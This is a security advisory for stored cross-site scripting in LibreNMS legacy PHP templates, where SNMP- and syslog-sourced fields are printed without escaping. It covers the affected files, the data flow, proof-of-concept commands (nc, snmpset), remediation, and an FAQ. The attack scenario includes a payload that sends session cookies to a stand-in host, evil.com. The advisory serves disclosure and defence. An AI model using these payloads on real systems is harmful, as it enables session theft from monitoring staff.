GHSA-7w8c-qgxg-m7jx: XSS
Summary
Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.
Vulnerable Code
Location 1: Syslog program field (clearest instance)
File: includes/html/print-syslog.inc.php:11,13
php $syslogoutput .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.
Location 2: Alert details ifAlias (highest impact — main alerts page)
File: includes/html/functions.inc.php:607
php $faultdetail .= $tmpalerts['ifAlias'] . '; ';
The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, formatalertdetails() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), servicedesc/servicemessage (lines 656,658), bgpPeerDescr (line 672), mempooldescr (line 686), apptype (line 709).
Location 3: Health pages — mempooldescr, storagedescr, sensordescr
File: includes/html/pages/device/health/mempool.inc.php:38 php echo "<h3 class='panel-title'>{$mempool->mempooldescr} ...";
File: includes/html/pages/device/health/storage.inc.php:27 php echo "<h3 class='panel-title'>{$drive['storagedescr']} ...";
File: includes/html/pages/device/health/sensors.inc.php:29 php echo "<h3 class='panel-title'>$sensordescr ...";
All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.
Location 4: Pseudowires ifAlias
File: includes/html/pages/pseudowires.inc.php:76 php echo "<tr ...><td colspan=2>" . $pwa['ifAlias'] . '</td><td colspan=2>' . $pwb['ifAlias'] . '</td></tr>';
Location 5: VRF page ifAlias
File: includes/html/pages/routing/vrf.inc.php:165 php echo "<div style='font-size: 9px;'>" . substr((string) shortportdescr($port['ifAlias']), 0, 22) . '</div>';
Data Flow
Attacker-controlled SNMP device/syslog source → SNMP polling stores ifAlias/mempooldescr/etc in DB (no sanitization on write) → OR syslog receiver stores program field in syslog table → Authenticated user views alerts/health/syslog page → Legacy PHP template echoes raw value into HTML → XSS executes in victim's browser session
Attack Scenario
1. Attacker compromises or controls a network device monitored by LibreNMS 2. Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)"> 3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table 4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page 5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page
PoC
Syslog vector (simplest) bash Send syslog message with XSS in program field Assuming LibreNMS syslog receiver is at 10.0.0.1:514 echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514
SNMP vector bash On attacker-controlled SNMP device, set interface description: snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>' LibreNMS will poll this during next discovery/polling cycle
Contrast with Properly Escaped Code
Newer Blade templates and some legacy code properly escape SNMP data: - includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware - app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias - app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message - All Blade templates use {{ }} auto-escaping
The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/librenms/librenmsto a version that resolves this vulnerability.Fixed in 26.5.0
Event History
Frequently Asked Questions
Who can exploit this issue in practice?
An attacker needs control of a monitored device’s SNMP agent or a syslog sender. They can place JavaScript in SNMP-sourced fields such as a port ifAlias or in the syslog program field.
What user interaction is required for impact?
The injected JavaScript executes when an authenticated LibreNMS user views an affected page. The issue does not require the attacker to authenticate to LibreNMS.
Which data paths should be investigated for malicious content?
Review syslog entries' program fields and SNMP-polled port descriptions stored as ifAlias values, especially for devices that can send syslog data or provide SNMP responses. Port-related alerts can render an unescaped ifAlias on the main alerts page.
What can be done while a fix is being deployed?
Restrict which devices and senders are permitted to provide SNMP and syslog data to LibreNMS, and avoid viewing affected syslog and port-alert pages for untrusted devices. Remove or sanitize suspicious program and ifAlias values where possible.